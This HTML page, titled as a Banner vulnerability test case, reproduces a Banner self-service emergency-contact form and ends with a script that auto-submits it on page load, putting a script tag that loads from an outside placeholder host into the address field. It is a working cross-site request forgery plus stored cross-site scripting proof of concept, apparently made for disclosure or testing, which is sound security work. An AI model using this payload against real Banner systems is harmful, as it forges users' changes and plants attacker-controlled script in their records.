<html><head><title>Banner Vulnerability Test Case</title></head> <body> <FORM ACTION="https://www.example.com/ss/twbksrch.P_ShowResults" METHOD="POST"> Search <SPAN class=fieldlabeltextinvisible><LABEL for=keyword_in_id><SPAN class=fieldlabeltext>Search</SPAN></LABEL></SPAN> <INPUT TYPE="text" NAME="KEYWRD_IN" SIZE="20" MAXLENGTH="65" ID="keyword_in_id"> <INPUT TYPE="submit" VALUE="Go"> </FORM> </div> </TD> <TD CLASS="pldefault"><p class="rightaligntext"> <SPAN class="pageheaderlinks"> <A HREF="/ss/twbkwbis.P_GenMenu?name=bmenu.P_GenMnu" class="submenulinktext2" >RETURN TO MENU</A> | <A HREF="/ss/twbksite.P_DispSiteMap?menu_name_in=bmenu.P_MainMnu&amp;depth_in=2&amp;columns_in=3" accesskey="2" class="submenulinktext2">SITE MAP</A> | <A HREF="/wtlhelp/twbhhelp.htm" accesskey="H" onClick="popup = window.open('/wtlhelp/twbhhelp.htm', 'PopupPage','height=450,width=500,scrollbars=yes,resizable=yes'); return false" target="_blank" onMouseOver="window.status=''; return true" onMouseOut="window.status=''; return true"onFocus="window.status=''; return true" onBlur="window.status=''; return true" class="submenulinktext2">HELP</A> | <A HREF="twbkwbis.P_Logout" accesskey="3" class="submenulinktext2">EXIT</A> </span> </TD> </TR> </TABLE> </DIV> <DIV class="pagetitlediv"> <TABLE CLASS="plaintable" SUMMARY="This table displays title and static header displays." WIDTH="100%"> <TR> <TD CLASS="pldefault"> <H2>Update Emergency Contacts</H2> </TD> <TD CLASS="pldefault"> &nbsp; </TD> <TD CLASS="pldefault"><p class="rightaligntext"> <DIV class="staticheaders"> </div> </TD> </TR> <TR> <TD class="bg3" width="100%" colSpan=3><IMG SRC="/wtlgifs/web_transparent.gif" ALT="Transparent Image" TITLE="Transparent Image" NAME="web_transparent" HSPACE=0 VSPACE=0 BORDER=0 HEIGHT=3 WIDTH=10></TD> </TR> </TABLE> <a name="main_content"></a> </DIV> <DIV class="pagebodydiv"> <!-- ** END OF twbkwbis.P_OpenDoc ** --> <DIV class="infotextdiv"><TABLE CLASS="infotexttable" SUMMARY="This layout table contains information that may be helpful in understanding the content and functionality of this page. It could be a brief set of instructions, a description of error messages, or other special information."><TR><TD CLASS="indefault">&nbsp;</TD><TD CLASS="indefault"><SPAN class=infotext> Enter a new emergency contact. When finished, Submit Changes. </SPAN></TD></TR></TABLE><P></DIV> <FORM NAME="MyForm" ACTION="https://www.example.com:9170/ssINTG/bwgkoemr.P_UpdateEmrgContacts" METHOD="post"> <INPUT TYPE="hidden" NAME="oldpri" VALUE="2"> <INPUT TYPE="hidden" NAME="last_active" VALUE="20070821154753"> <TABLE CLASS="dataentrytable" SUMMARY="This layout table is used to format the Emergency Contacts form."> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=remove_id><SPAN class=fieldlabeltext>Remove Contact:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"><INPUT TYPE="checkbox" NAME="remove_it" ID="remove_id"></TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=priority_id><SPAN class=fieldlabeltext>Order:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="priority_in" SIZE="2" MAXLENGTH="1" VALUE="2" ID="priority_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=rship_id><SPAN class=fieldlabeltext>Relationship:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <SELECT NAME="rship" SIZE="1" ID="rship_id"> <OPTION VALUE="" SELECTED>Not Applicable <OPTION VALUE="A">An Ex-spouse </SELECT> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=fname_id><SPAN class=fieldlabeltext>First Name:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="fname" SIZE="20" MAXLENGTH="15" ID="fname_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=mi_id><SPAN class=fieldlabeltext>Middle Initial:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="mi" SIZE="2" MAXLENGTH="1" ID="mi_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=lname_id><SPAN class=fieldlabeltext>Last Name:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="lname" SIZE="35" MAXLENGTH="25" ID="lname_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=addr1_id><SPAN class=fieldlabeltext>Address Line 1:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="addr1" SIZE="35" MAXLENGTH="30" ID="addr1_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=addr2_id><SPAN class=fieldlabeltext>Address Line 2:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="addr2" SIZE="35" MAXLENGTH="30" ID="addr2_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=addr3_id><SPAN class=fieldlabeltext>Address Line 3:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="addr3" SIZE="35" MAXLENGTH="30" ID="addr3_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=city_id><SPAN class=fieldlabeltext>City:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="city" SIZE="30" MAXLENGTH="20" ID="city_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=stat_id><SPAN class=fieldlabeltext>State or Province:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <SELECT NAME="stat" SIZE="1" ID="stat_id"> <OPTION VALUE="" SELECTED>Not Applicable <OPTION VALUE="RI">Rhode Island </SELECT> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=zip_id><SPAN class=fieldlabeltext>Zip or Postal Code:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <INPUT TYPE="text" NAME="zip" SIZE="11" MAXLENGTH="10" ID="zip_id"> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=natn_id><SPAN class=fieldlabeltext>Country:</SPAN></LABEL></TD> <TD COLSPAN="5" CLASS="dedefault"> <SELECT NAME="natn" SIZE="1" ID="natn_id"> <OPTION VALUE="" SELECTED>Not Applicable OPTION VALUE="US">United States </SELECT> </TD> </TR> <TR> <TD CLASS="delabel" scope="row" ><LABEL for=area_id><SPAN class=fieldlabeltext>Area Code:</SPAN></LABEL></TD> <TD COLSPAN="1" CLASS="dedefault"> <INPUT TYPE="text" NAME="area" SIZE="4" MAXLENGTH="3" ID="area_id"> <TD CLASS="delabel" scope="row" ><LABEL for=phone_id><SPAN class=fieldlabeltext>Phone Number:</SPAN></LABEL></TD> <TD CLASS="dedefault"><INPUT TYPE="text" NAME="phone" SIZE="9" MAXLENGTH="8" ID="phone_id"></TD> <TD CLASS="delabel" scope="row" ><LABEL for=ext_id><SPAN class=fieldlabeltext>Extension:</SPAN></LABEL></TD> <TD CLASS="dedefault"><INPUT TYPE="text" NAME="ext" SIZE="5" MAXLENGTH="4" ID="ext_id"></TD> </TR> </TABLE> <P> <INPUT TYPE="submit" VALUE="Submit Changes"> <INPUT TYPE="reset" VALUE="Reset"> </FORM> <script> document.MyForm.addr1.value='\<script src=http://www.example2.com/s>'; document.MyForm.natn.value='US'; document.MyForm.stat.value='RI'; document.MyForm.fname.value='NAME'; document.MyForm.lname.value='NAME'; document.MyForm.city.value='Providence'; document.MyForm.zip.value='02912'; document.MyForm.submit(); </script> </body> </html>